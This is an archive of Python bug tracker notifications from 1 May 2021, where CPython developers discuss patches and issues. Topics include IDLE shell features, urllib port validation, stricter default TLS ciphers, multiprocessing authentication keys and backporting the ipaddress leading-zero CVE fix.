From report at bugs.python.org Sat May 1 01:15:46 2021 From: report at bugs.python.org (Erlend Egeberg Aasland) Date: Sat, 01 May 2021 05:15:46 +0000 Subject: [issue43916] Mark static types newly converted to heap types as immutable: add Py_TPFLAGS_DISALLOW_INSTANTIATION type flag In-Reply-To: <1619127118.97.0.615486795072.issue43916@roundup.psfhosted.org> Message-ID: <1619846146.51.0.122192284702.issue43916@roundup.psfhosted.org> Erlend Egeberg Aasland added the comment: > Not sure what do you have in mind for the wiki See https://meta.discourse.org/t/what-is-a-wiki-post/30801 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 01:40:51 2021 From: report at bugs.python.org (Adrian Freund) Date: Sat, 01 May 2021 05:40:51 +0000 Subject: [issue43994] change representation of match as / capture as `Name(..., ctx=Store())` In-Reply-To: <1619822991.2.0.658600538684.issue43994@roundup.psfhosted.org> Message-ID: <1619847651.22.0.717639075783.issue43994@roundup.psfhosted.org> Adrian Freund added the comment: I already brought this up on the main pattern matching issue some time ago (https://bugs.python.org/issue42128#msg388554), where the consensus was that not using a Name is consistent with other parts of the ast, such as `import ... as identifier`, `except ... as identifier` and others. For mypy having a Name node there would slightly simplify the code (I'm currently inserting a dummy NameExpr at AST-Conversion. +0 from me. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 03:36:51 2021 From: report at bugs.python.org (=?utf-8?b?TWljaGHFgiBHw7Nybnk=?=) Date: Sat, 01 May 2021 07:36:51 +0000 Subject: [issue36384] [security] CVE-2021-29921: ipaddress Should not reject IPv4 addresses with leading zeroes as ambiguously octal In-Reply-To: <1553125209.55.0.0358803413865.issue36384@roundup.psfhosted.org> Message-ID: <1619854611.88.0.022955873997.issue36384@roundup.psfhosted.org> Micha? G?rny added the comment: > If it takes years for users to get to 3.10, we should reevaluate our > release cycle, not whether we aggressively break maintenance releases. I don't really understand how that would help. The problem is that users have major inertia for switching to newer Python versions. A part of it is that a lot of people just don't care about deprecation warnings, and don't fix stuff until it's actually broken. In the end, your projects are blocked from using new major Python version by broken dependencies with long release cycles. I can't imagine deliberately leaving 3.8 and 3.9 vulnerable when 3.10 isn't going to reach final release in the next half year. Gentoo stable is only switching to 3.9 next month. I'm pretty sure some of our (few) corporate users are still on 3.7 or earlier. Then, there are projects that literally include a vulnerable copy of Python 2.7 to get around distributions removing it. I dare say this has less breakage potential than the &/; change. It should be fixed on all affected versions. If you don't do that, distributions will have to patch it anyway, and this will only lead to incompatibility between different Python package vendors. ---------- nosy: +mgorny _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 04:36:08 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Sat, 01 May 2021 08:36:08 +0000 Subject: [issue43992] Unable to get external dependencies for CPython on Ubuntu Linux 20.04.1 In-Reply-To: <1619808820.38.0.0813817869206.issue43992@roundup.psfhosted.org> Message-ID: <1619858168.04.0.128983717915.issue43992@roundup.psfhosted.org> Shreyan Avigyan added the comment: I've tweaked some of my settings and was able to get the dependencies but they are out of date. I tried upgrading them but not working. (I'm not new to Ubuntu but I'm also not excellent at Ubuntu. A little bit of explanation would be helpful.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 04:59:02 2021 From: report at bugs.python.org (Tal Einat) Date: Sat, 01 May 2021 08:59:02 +0000 Subject: [issue37903] IDLE Shell sidebar. In-Reply-To: <1566370033.98.0.615651298891.issue37903@roundup.psfhosted.org> Message-ID: <1619859542.94.0.286828833662.issue37903@roundup.psfhosted.org> Tal Einat added the comment: To those following, please note that the latest PR (GH-25708) adds a "Copy with prompts" context-menu option, to make copying interactive sessions for doc-tests and code examples convenient. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 05:15:23 2021 From: report at bugs.python.org (Paul Moore) Date: Sat, 01 May 2021 09:15:23 +0000 Subject: [issue43993] Update bundled pip to 21.1.1 In-Reply-To: <1619809188.59.0.0758758715434.issue43993@roundup.psfhosted.org> Message-ID: <1619860523.18.0.787368772069.issue43993@roundup.psfhosted.org> Paul Moore added the comment: New changeset bf99b7151663905fd5e71efe45184dc8fffc3236 by St?phane Bidoul in branch 'master': bpo-43993: Update vendored pip to 21.1.1 (GH-25761) https://github.com/python/cpython/commit/bf99b7151663905fd5e71efe45184dc8fffc3236 ---------- nosy: +paul.moore _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 05:26:17 2021 From: report at bugs.python.org (Tal Einat) Date: Sat, 01 May 2021 09:26:17 +0000 Subject: [issue37892] IDLE Shell: isolate user code input In-Reply-To: <1566301123.94.0.491748175182.issue37892@roundup.psfhosted.org> Message-ID: <1619861177.58.0.485224439349.issue37892@roundup.psfhosted.org> Tal Einat added the comment: > For doctests, one wants code with '>>> ' and '... ' prompts and unmarked output. Note that with the latest PR, the shell sidebar now adds a "Copy with prompts" context-menu option which does precisely this. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 05:32:38 2021 From: report at bugs.python.org (Miguel Brito) Date: Sat, 01 May 2021 09:32:38 +0000 Subject: [issue43871] urllib.parse.urlparse doesn't check port In-Reply-To: <1618594208.69.0.606171015487.issue43871@roundup.psfhosted.org> Message-ID: <1619861558.63.0.153556129451.issue43871@roundup.psfhosted.org> Change by Miguel Brito : ---------- keywords: +patch nosy: +miguendes nosy_count: 4.0 -> 5.0 pull_requests: +24464 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25774 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 05:34:26 2021 From: report at bugs.python.org (Miguel Brito) Date: Sat, 01 May 2021 09:34:26 +0000 Subject: [issue43871] urllib.parse.urlparse doesn't check port In-Reply-To: <1618594208.69.0.606171015487.issue43871@roundup.psfhosted.org> Message-ID: <1619861666.56.0.232825659333.issue43871@roundup.psfhosted.org> Miguel Brito added the comment: I also think the validation logic should be ran as early as possible. I gave it a shot and implemented it. I appreciate any reviews: https://github.com/python/cpython/pull/25774 Got some ideas from https://github.com/python/cpython/pull/16780 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 05:48:16 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Sat, 01 May 2021 09:48:16 +0000 Subject: [issue43984] winreg.SetValueEx should check the returned value In-Reply-To: <1619772121.59.0.631498595724.issue43984@roundup.psfhosted.org> Message-ID: <1619862496.26.0.269425237727.issue43984@roundup.psfhosted.org> Shreyan Avigyan added the comment: I'm attaching a PR to fix this issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 05:48:29 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Sat, 01 May 2021 09:48:29 +0000 Subject: [issue43984] winreg.SetValueEx should check the returned value In-Reply-To: <1619772121.59.0.631498595724.issue43984@roundup.psfhosted.org> Message-ID: <1619862509.38.0.873006804033.issue43984@roundup.psfhosted.org> Change by Shreyan Avigyan : ---------- keywords: +patch pull_requests: +24465 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/25775 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 05:57:36 2021 From: report at bugs.python.org (Tal Einat) Date: Sat, 01 May 2021 09:57:36 +0000 Subject: [issue43981] test_idle is leaking references In-Reply-To: <1619731760.39.0.648399014878.issue43981@roundup.psfhosted.org> Message-ID: <1619863056.96.0.938367056812.issue43981@roundup.psfhosted.org> Tal Einat added the comment: Pablo, many thanks for catching this, analyzing it and finding a fix! Sorry for missing this cleanup in the first place, and moreso for not having being able to look into this when you brought it up. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 05:59:31 2021 From: report at bugs.python.org (Dennis Sweeney) Date: Sat, 01 May 2021 09:59:31 +0000 Subject: [issue38530] Offer suggestions on AttributeError and NameError In-Reply-To: <1571511451.65.0.74942926189.issue38530@roundup.psfhosted.org> Message-ID: <1619863171.66.0.159904532079.issue38530@roundup.psfhosted.org> Change by Dennis Sweeney : ---------- pull_requests: +24466 pull_request: https://github.com/python/cpython/pull/25776 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 05:59:31 2021 From: report at bugs.python.org (Miguel Brito) Date: Sat, 01 May 2021 09:59:31 +0000 Subject: [issue43913] unittest module cleanup functions not run unless tearDownModule() is defined In-Reply-To: <1619112603.21.0.888509270435.issue43913@roundup.psfhosted.org> Message-ID: <1619863171.65.0.408466446395.issue43913@roundup.psfhosted.org> Miguel Brito added the comment: I was reading through the dev guide and past issues and I didn't know it's advisable to give the author of the issue a chance to submit the PR. Sorry about that, you can close mine in this case. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 06:10:06 2021 From: report at bugs.python.org (Dennis Sweeney) Date: Sat, 01 May 2021 10:10:06 +0000 Subject: [issue38530] Offer suggestions on AttributeError and NameError In-Reply-To: <1571511451.65.0.74942926189.issue38530@roundup.psfhosted.org> Message-ID: <1619863806.25.0.758600181114.issue38530@roundup.psfhosted.org> Dennis Sweeney added the comment: PR 25776 is a work in progress for what it might look like to do a few things: - Make case-swaps half the cost of any other edit - Refactor Levenshtein code to not use memory allocator, and to bail early on no match. - Add comments to Levenshtein distance code - Add test cases for Levenshtein distance behind a debug macro - Set threshold to (name_size + item_size + 3) * MOVE_COST / 6. - Reasoning: similar to difflib.SequenceMatcher.ratio() >= 2/3: "Multiset Jaccard similarity" >= 2/3 matching letters / total letters >= 2/3 (name_size - distance + item_size - distance) / (name_size + item_size) >= 2/3 1 - (2*distance) / (name_size + item_size) >= 2/3 1/3 >= (2*distance) / (name_size + item_size) (name_size + item_size) / 6 >= distance With rounding: (name_size + item_size + 3) // 6 >= distance Re: Damerau-Levenshtein (transpositions as single edits), if that were to get implemented, I don't see a way to do that without using a buffer of at least 3x the size, storing the most recent 3 rows of the matrix. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 06:41:52 2021 From: report at bugs.python.org (Christian Heimes) Date: Sat, 01 May 2021 10:41:52 +0000 Subject: [issue43998] Increase security of TLS settings in 3.10 Message-ID: <1619865712.14.0.970623185064.issue43998@roundup.psfhosted.org> New submission from Christian Heimes : It's 2021. TLS 1.0 and 1.1 have been deprecated in RFC 8996. Browsers have disabled TLS 1.0 and 1.1, too. Python should no longer enable TLS 1.1 by default and require strong TLS ciphers with forward secrecy. I'm going to update Python's default cipher suite based on Hynek's excellent blog post https://hynek.me/articles/hardening-your-web-servers-ssl-ciphers/ . I'll deviate in two minor points: * keep ephemeral, finite field Diffie-Hellman for legacy hardware. It's not that insecure, just slow. * enforce security level 2 to require strong RSA and DH keys. @SECLEVEL=2 enforced minimum of 112 bits security. Almost all common RSA certificates use 2048 bits RSA signature. I'm also going to set TLS 1.2 as minimum protocol version with Python is compiled with --with-ssl-default-suites=python or --with-ssl-default-suites=custom_string. Distro vendors can use --with-ssl-default-suites=openssl to override the setting. ---------- assignee: christian.heimes components: SSL messages: 392582 nosy: christian.heimes, hynek priority: normal severity: normal status: open title: Increase security of TLS settings in 3.10 type: security versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 06:51:35 2021 From: report at bugs.python.org (Miguel Brito) Date: Sat, 01 May 2021 10:51:35 +0000 Subject: [issue43869] Fix documentation of epoch/time.time In-Reply-To: <1618586158.57.0.649486184749.issue43869@roundup.psfhosted.org> Message-ID: <1619866295.64.0.312409937051.issue43869@roundup.psfhosted.org> Change by Miguel Brito : ---------- keywords: +patch nosy: +miguendes nosy_count: 4.0 -> 5.0 pull_requests: +24467 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25777 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 06:52:18 2021 From: report at bugs.python.org (Miguel Brito) Date: Sat, 01 May 2021 10:52:18 +0000 Subject: [issue43869] Fix documentation of epoch/time.time In-Reply-To: <1618586158.57.0.649486184749.issue43869@roundup.psfhosted.org> Message-ID: <1619866338.55.0.27627263783.issue43869@roundup.psfhosted.org> Miguel Brito added the comment: Seen that no one is working on this issue I created an PR to clarify the docs. https://github.com/python/cpython/pull/25777 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 07:12:07 2021 From: report at bugs.python.org (Christian Heimes) Date: Sat, 01 May 2021 11:12:07 +0000 Subject: [issue43762] Add audit events for loading of sqlite3 extensions In-Reply-To: <1617792679.62.0.407303342016.issue43762@roundup.psfhosted.org> Message-ID: <1619867527.7.0.980110914162.issue43762@roundup.psfhosted.org> Change by Christian Heimes : ---------- pull_requests: +24468 pull_request: https://github.com/python/cpython/pull/25778 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 07:16:09 2021 From: report at bugs.python.org (Safihre) Date: Sat, 01 May 2021 11:16:09 +0000 Subject: [issue37355] SSLSocket.read does a GIL round-trip for every 16KB TLS record In-Reply-To: <1561056169.29.0.814417679233.issue37355@roundup.psfhosted.org> Message-ID: <1619867769.33.0.143800035572.issue37355@roundup.psfhosted.org> Safihre added the comment: It would be very beneficial if this gets added. In our application (usenet client) I have wondered for years why we had to limit ourselves to 16k blocks and have such lower speeds compared to non SSL connections. ---------- nosy: +Safihre _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 07:21:54 2021 From: report at bugs.python.org (Christian Heimes) Date: Sat, 01 May 2021 11:21:54 +0000 Subject: [issue37355] SSLSocket.read does a GIL round-trip for every 16KB TLS record In-Reply-To: <1561056169.29.0.814417679233.issue37355@roundup.psfhosted.org> Message-ID: <1619868114.85.0.412056217162.issue37355@roundup.psfhosted.org> Christian Heimes added the comment: The PR is still experimental and only applies to one direction. I doubt that it will be ready, reviewed, and approved for feature freeze of 3.10. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 07:24:03 2021 From: report at bugs.python.org (Christian Heimes) Date: Sat, 01 May 2021 11:24:03 +0000 Subject: [issue43998] Increase security of TLS settings in 3.10 In-Reply-To: <1619865712.14.0.970623185064.issue43998@roundup.psfhosted.org> Message-ID: <1619868243.92.0.60689417516.issue43998@roundup.psfhosted.org> Christian Heimes added the comment: $ openssl ciphers -v '@SECLEVEL=2:ECDH+AESGCM:ECDH+CHACHA20:ECDH+AES:DHE+AES:!aNULL:!eNULL:!aDSS:!SHA1:!AESCCM' TLS_AES_256_GCM_SHA384 TLSv1.3 Kx=any Au=any Enc=AESGCM(256) Mac=AEAD TLS_CHACHA20_POLY1305_SHA256 TLSv1.3 Kx=any Au=any Enc=CHACHA20/POLY1305(256) Mac=AEAD TLS_AES_128_GCM_SHA256 TLSv1.3 Kx=any Au=any Enc=AESGCM(128) Mac=AEAD TLS_AES_128_CCM_SHA256 TLSv1.3 Kx=any Au=any Enc=AESCCM(128) Mac=AEAD ECDHE-ECDSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH Au=ECDSA Enc=AESGCM(256) Mac=AEAD ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH Au=RSA Enc=AESGCM(256) Mac=AEAD ECDHE-ECDSA-AES128-GCM-SHA256 TLSv1.2 Kx=ECDH Au=ECDSA Enc=AESGCM(128) Mac=AEAD ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 Kx=ECDH Au=RSA Enc=AESGCM(128) Mac=AEAD ECDHE-ECDSA-CHACHA20-POLY1305 TLSv1.2 Kx=ECDH Au=ECDSA Enc=CHACHA20/POLY1305(256) Mac=AEAD ECDHE-RSA-CHACHA20-POLY1305 TLSv1.2 Kx=ECDH Au=RSA Enc=CHACHA20/POLY1305(256) Mac=AEAD ECDHE-ECDSA-AES256-SHA384 TLSv1.2 Kx=ECDH Au=ECDSA Enc=AES(256) Mac=SHA384 ECDHE-RSA-AES256-SHA384 TLSv1.2 Kx=ECDH Au=RSA Enc=AES(256) Mac=SHA384 ECDHE-ECDSA-AES128-SHA256 TLSv1.2 Kx=ECDH Au=ECDSA Enc=AES(128) Mac=SHA256 ECDHE-RSA-AES128-SHA256 TLSv1.2 Kx=ECDH Au=RSA Enc=AES(128) Mac=SHA256 DHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=DH Au=RSA Enc=AESGCM(256) Mac=AEAD DHE-RSA-AES128-GCM-SHA256 TLSv1.2 Kx=DH Au=RSA Enc=AESGCM(128) Mac=AEAD DHE-RSA-AES256-SHA256 TLSv1.2 Kx=DH Au=RSA Enc=AES(256) Mac=SHA256 DHE-RSA-AES128-SHA256 TLSv1.2 Kx=DH Au=RSA Enc=AES(128) Mac=SHA256 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 07:25:29 2021 From: report at bugs.python.org (Christian Heimes) Date: Sat, 01 May 2021 11:25:29 +0000 Subject: [issue43998] Increase security of TLS settings in 3.10 In-Reply-To: <1619865712.14.0.970623185064.issue43998@roundup.psfhosted.org> Message-ID: <1619868329.65.0.701980062697.issue43998@roundup.psfhosted.org> Change by Christian Heimes : ---------- keywords: +patch pull_requests: +24469 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25778 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 07:34:54 2021 From: report at bugs.python.org (Christian Heimes) Date: Sat, 01 May 2021 11:34:54 +0000 Subject: [issue43974] setup.py should set Py_BUILD_CORE_MODULE as defined macro In-Reply-To: <1619686946.42.0.670507836309.issue43974@roundup.psfhosted.org> Message-ID: <1619868894.53.0.647354543686.issue43974@roundup.psfhosted.org> Christian Heimes added the comment: > I would prefer to limit the usage of the internal C API in extension modules built as dynamic libraries. See bpo-41111: "[C API] Convert a few stdlib extensions to the limited C API (PEP 384)". Let's make this a coordinated effort in 3.11. I suggest that we slowly remove functions from Py_BUILD_CORE_MODULE. For now I'm interested to clean up and simplify setup.py. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 07:46:45 2021 From: report at bugs.python.org (Sergey B Kirpichev) Date: Sat, 01 May 2021 11:46:45 +0000 Subject: [issue32891] Add 'Integer' as synonym for 'Integral' in numbers module. In-Reply-To: <1619512295.13.0.00401673826841.issue32891@roundup.psfhosted.org> Message-ID: Sergey B Kirpichev added the comment: On Tue, Apr 27, 2021 at 08:31:35AM +0000, Raymond Hettinger wrote: > Well, that complicated things ;-) I suppose he can revive this if he wants. That was just to note: it wasn't my (=> bad & stupid) idea. Lets hope, he will note, even not being subscribed :-) > Perhaps after seeing how pervasive the change is he will be less inclined. Even CPython patch is small. Downstream changes are one-line patches, much smaller than usual CPython compatibility breaks. Just to note. > Jelle, Mark, and I have all thought about it and don't think it is worth the disruption. Agaist Guido and Terry. (I don't count Serhiy on your side.) > In 14 years we hadn't had user reports or any other evidence that word Integral is problematic, so it isn't that there is any problem to be solved. It's not too problematic, but can surprise users. Not just me - see example with Nick in the thread. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 08:09:48 2021 From: report at bugs.python.org (Shreyash Sharma) Date: Sat, 01 May 2021 12:09:48 +0000 Subject: [issue43815] documentation for types.new_class() mention misleading default for exec_body In-Reply-To: <1618237407.5.0.0559454407816.issue43815@roundup.psfhosted.org> Message-ID: <1619870988.69.0.901701475464.issue43815@roundup.psfhosted.org> Change by Shreyash Sharma : ---------- keywords: +patch nosy: +shreyneil nosy_count: 2.0 -> 3.0 pull_requests: +24470 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25779 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 08:33:15 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 01 May 2021 12:33:15 +0000 Subject: [issue37903] IDLE Shell sidebar. In-Reply-To: <1566370033.98.0.615651298891.issue37903@roundup.psfhosted.org> Message-ID: <1619872395.68.0.406414221626.issue37903@roundup.psfhosted.org> Terry J. Reedy added the comment: There is also a 'copy only code' option. Like 'copy', these two new options require a selection. They appear on the context menu when right-clicking either on the sidebar or within the selection. Like the format region commands, these new options operate on a 'region', a sequence of complete lines in the text area. And as with region reformatting, incomplete regions are expanded. Regions are easily selected by left clicking and dragging on the sidebar, as with the line number sidebar. Two of us reviewers found 3 bugs; 2 have been fixed and the 3rd should be soon. I imaging that we have found everything, but more testing today, after the 3rd fix, by others, would be good. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 08:42:11 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 01 May 2021 12:42:11 +0000 Subject: [issue43913] unittest module cleanup functions not run unless tearDownModule() is defined In-Reply-To: <1619112603.21.0.888509270435.issue43913@roundup.psfhosted.org> Message-ID: <1619872931.96.0.459659337261.issue43913@roundup.psfhosted.org> Terry J. Reedy added the comment: No apology needed. I don't know what has been added to the devguide, but most OPs never submit a PR unless they either do so or say they will when opening an issue. In any case, a week is more than a chance. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 08:48:54 2021 From: report at bugs.python.org (Miguel Brito) Date: Sat, 01 May 2021 12:48:54 +0000 Subject: [issue43952] Multiprocessing UNIX socket connection: client freeze if authkey is an empty byte string In-Reply-To: <1619523915.52.0.163488043908.issue43952@roundup.psfhosted.org> Message-ID: <1619873334.22.0.268428103779.issue43952@roundup.psfhosted.org> Miguel Brito added the comment: I tried debugging this and from what I can see it's because there's an if that checks if the authkey is not None in the Client constructor: https://github.com/python/cpython/blob/v3.9.4/Lib/multiprocessing/connection.py#L512 ``` if authkey is not None: answer_challenge(c, authkey) deliver_challenge(c, authkey) ``` Whereas in the Listener, the check is different: https://github.com/python/cpython/blob/v3.9.4/Lib/multiprocessing/connection.py#L469 ``` c = self._listener.accept() if self._authkey: deliver_challenge(c, self._authkey) answer_challenge(c, self._authkey) return c ``` If I change the Listener to: ``` if self._authkey is not None: deliver_challenge(c, self._authkey) answer_challenge(c, self._authkey) return c ``` it works. The docs say: """ If authkey is given and not None, it should be a byte string and will be used as the secret key for an HMAC-based authentication challenge. No authentication is done if authkey is None. AuthenticationError is raised if authentication fails. See Authentication keys. """ Now the question is, if None is OK because no auth will be done what about empty bytes? Can it be used as secret key? If empty bytes is not accepted shouldn't Listener/Client raise an exception in the constructor? ---------- nosy: +miguendes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 08:50:55 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 01 May 2021 12:50:55 +0000 Subject: [issue32891] Add 'Integer' as synonym for 'Integral' in numbers module. In-Reply-To: <1519191292.27.0.467229070634.issue32891@psf.upfronthosting.co.za> Message-ID: <1619873455.09.0.731670913768.issue32891@roundup.psfhosted.org> Terry J. Reedy added the comment: Guido, Integer as synonym for Integral was your idea, or at least your endorsement prompted me to file the issue. Other core devs don't think the change is worth the trouble; I don't much care. Speak up if you want to revive it. ---------- nosy: +gvanrossum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 09:28:48 2021 From: report at bugs.python.org (Julien Palard) Date: Sat, 01 May 2021 13:28:48 +0000 Subject: [issue43971] documentation: no spacing around default args in annotated function In-Reply-To: <1619656492.65.0.621784631269.issue43971@roundup.psfhosted.org> Message-ID: <1619875728.49.0.650777831252.issue43971@roundup.psfhosted.org> Julien Palard added the comment: Thanks Mohamed for the issue and Terry for fixing it. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 09:34:00 2021 From: report at bugs.python.org (Molly Eskam) Date: Sat, 01 May 2021 13:34:00 +0000 Subject: [issue28708] Low FD_SETSIZE limit on Windows In-Reply-To: <1479250358.07.0.768722440644.issue28708@psf.upfronthosting.co.za> Message-ID: <1619876040.61.0.287965197775.issue28708@roundup.psfhosted.org> Molly Eskam added the comment: That's a ton of content on a single page. https://offshorededi.com/ ---------- nosy: +MollyEskam _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 09:35:01 2021 From: report at bugs.python.org (Molly Eskam) Date: Sat, 01 May 2021 13:35:01 +0000 Subject: [issue28708] Low FD_SETSIZE limit on Windows In-Reply-To: <1479250358.07.0.768722440644.issue28708@psf.upfronthosting.co.za> Message-ID: <1619876101.37.0.167911557639.issue28708@roundup.psfhosted.org> Molly Eskam added the comment: Is FD_SETSIZE configurable at runtime? https://webcare360.com/ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 09:40:38 2021 From: report at bugs.python.org (Christian Heimes) Date: Sat, 01 May 2021 13:40:38 +0000 Subject: [issue43989] Enum deprecation breaks SSL tests In-Reply-To: <1619802976.1.0.850329373801.issue43989@roundup.psfhosted.org> Message-ID: <1619876438.71.0.349393029947.issue43989@roundup.psfhosted.org> Change by Christian Heimes : ---------- pull_requests: +24471 pull_request: https://github.com/python/cpython/pull/25780 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 09:51:11 2021 From: report at bugs.python.org (Nathaniel Smith) Date: Sat, 01 May 2021 13:51:11 +0000 Subject: [issue28708] Low FD_SETSIZE limit on Windows In-Reply-To: <1479250358.07.0.768722440644.issue28708@psf.upfronthosting.co.za> Message-ID: <1619877071.58.0.458436290561.issue28708@roundup.psfhosted.org> Change by Nathaniel Smith : ---------- Removed message: https://bugs.python.org/msg392594 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 09:51:31 2021 From: report at bugs.python.org (Nathaniel Smith) Date: Sat, 01 May 2021 13:51:31 +0000 Subject: [issue28708] Low FD_SETSIZE limit on Windows In-Reply-To: <1479250358.07.0.768722440644.issue28708@psf.upfronthosting.co.za> Message-ID: <1619877091.65.0.620568531314.issue28708@roundup.psfhosted.org> Change by Nathaniel Smith : ---------- Removed message: https://bugs.python.org/msg392595 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 09:51:59 2021 From: report at bugs.python.org (Nathaniel Smith) Date: Sat, 01 May 2021 13:51:59 +0000 Subject: [issue28708] Low FD_SETSIZE limit on Windows In-Reply-To: <1479250358.07.0.768722440644.issue28708@psf.upfronthosting.co.za> Message-ID: <1619877119.33.0.470129869435.issue28708@roundup.psfhosted.org> Change by Nathaniel Smith : ---------- Removed message: https://bugs.python.org/msg390813 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 10:02:09 2021 From: report at bugs.python.org (Inada Naoki) Date: Sat, 01 May 2021 14:02:09 +0000 Subject: [issue43733] PEP 597: netrc uses locale encoding. In-Reply-To: <1617626810.53.0.0987972947565.issue43733@roundup.psfhosted.org> Message-ID: <1619877729.39.0.233005182718.issue43733@roundup.psfhosted.org> Change by Inada Naoki : ---------- keywords: +patch pull_requests: +24472 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25781 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 10:05:11 2021 From: report at bugs.python.org (Christian Heimes) Date: Sat, 01 May 2021 14:05:11 +0000 Subject: [issue43989] Enum deprecation breaks SSL tests In-Reply-To: <1619802976.1.0.850329373801.issue43989@roundup.psfhosted.org> Message-ID: <1619877911.18.0.704077985169.issue43989@roundup.psfhosted.org> Christian Heimes added the comment: New changeset f82fd77717b58c97a16c05e25c72388b35860459 by Christian Heimes in branch 'master': bpo-43989: Temporarily disable warnings in ssltests (GH-25780) https://github.com/python/cpython/commit/f82fd77717b58c97a16c05e25c72388b35860459 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 10:07:22 2021 From: report at bugs.python.org (Christian Heimes) Date: Sat, 01 May 2021 14:07:22 +0000 Subject: [issue43989] Enum deprecation breaks SSL tests In-Reply-To: <1619802976.1.0.850329373801.issue43989@roundup.psfhosted.org> Message-ID: <1619878042.68.0.505566819113.issue43989@roundup.psfhosted.org> Christian Heimes added the comment: Ethan, I have added a temporary workaround. Please revert f82fd77717b58c97a16c05e25c72388b35860459 when you fix the issue. Thanks! ---------- priority: deferred blocker -> high _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 10:08:17 2021 From: report at bugs.python.org (Yonatan Goldschmidt) Date: Sat, 01 May 2021 14:08:17 +0000 Subject: [issue29657] os.symlink: FileExistsError shows wrong message In-Reply-To: <1488099144.41.0.738429373533.issue29657@psf.upfronthosting.co.za> Message-ID: <1619878097.92.0.851935130543.issue29657@roundup.psfhosted.org> Yonatan Goldschmidt added the comment: Just reached this issue independently (spent a few minutes debugging an error message like "FileExistsError: [Errno 17] File exists: 'a' -> 'b'", where 'a' didn't exist...) I agree with Rich on this - for me, the source of confusion was that the way Python uses the arrow notation is just swapped from how ls(1) uses it. Stage is "patch review" but I couldn't find any PR for it; if we're good with Larry's solution then I'm happy to post a PR implementing it. ---------- nosy: +Yonatan Goldschmidt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 10:21:46 2021 From: report at bugs.python.org (robertohueso) Date: Sat, 01 May 2021 14:21:46 +0000 Subject: [issue43989] Enum deprecation breaks SSL tests In-Reply-To: <1619802976.1.0.850329373801.issue43989@roundup.psfhosted.org> Message-ID: <1619878906.84.0.8659018289.issue43989@roundup.psfhosted.org> robertohueso added the comment: I opened PR 25769, I think it's the correct fix but I'm a new contributor, so not 100% sure. Please, review when you have time :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 10:44:37 2021 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Bidoul?=) Date: Sat, 01 May 2021 14:44:37 +0000 Subject: [issue43993] Update bundled pip to 21.1.1 In-Reply-To: <1619809188.59.0.0758758715434.issue43993@roundup.psfhosted.org> Message-ID: <1619880277.43.0.616199028994.issue43993@roundup.psfhosted.org> Change by St?phane Bidoul : ---------- pull_requests: +24473 pull_request: https://github.com/python/cpython/pull/25782 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 10:46:05 2021 From: report 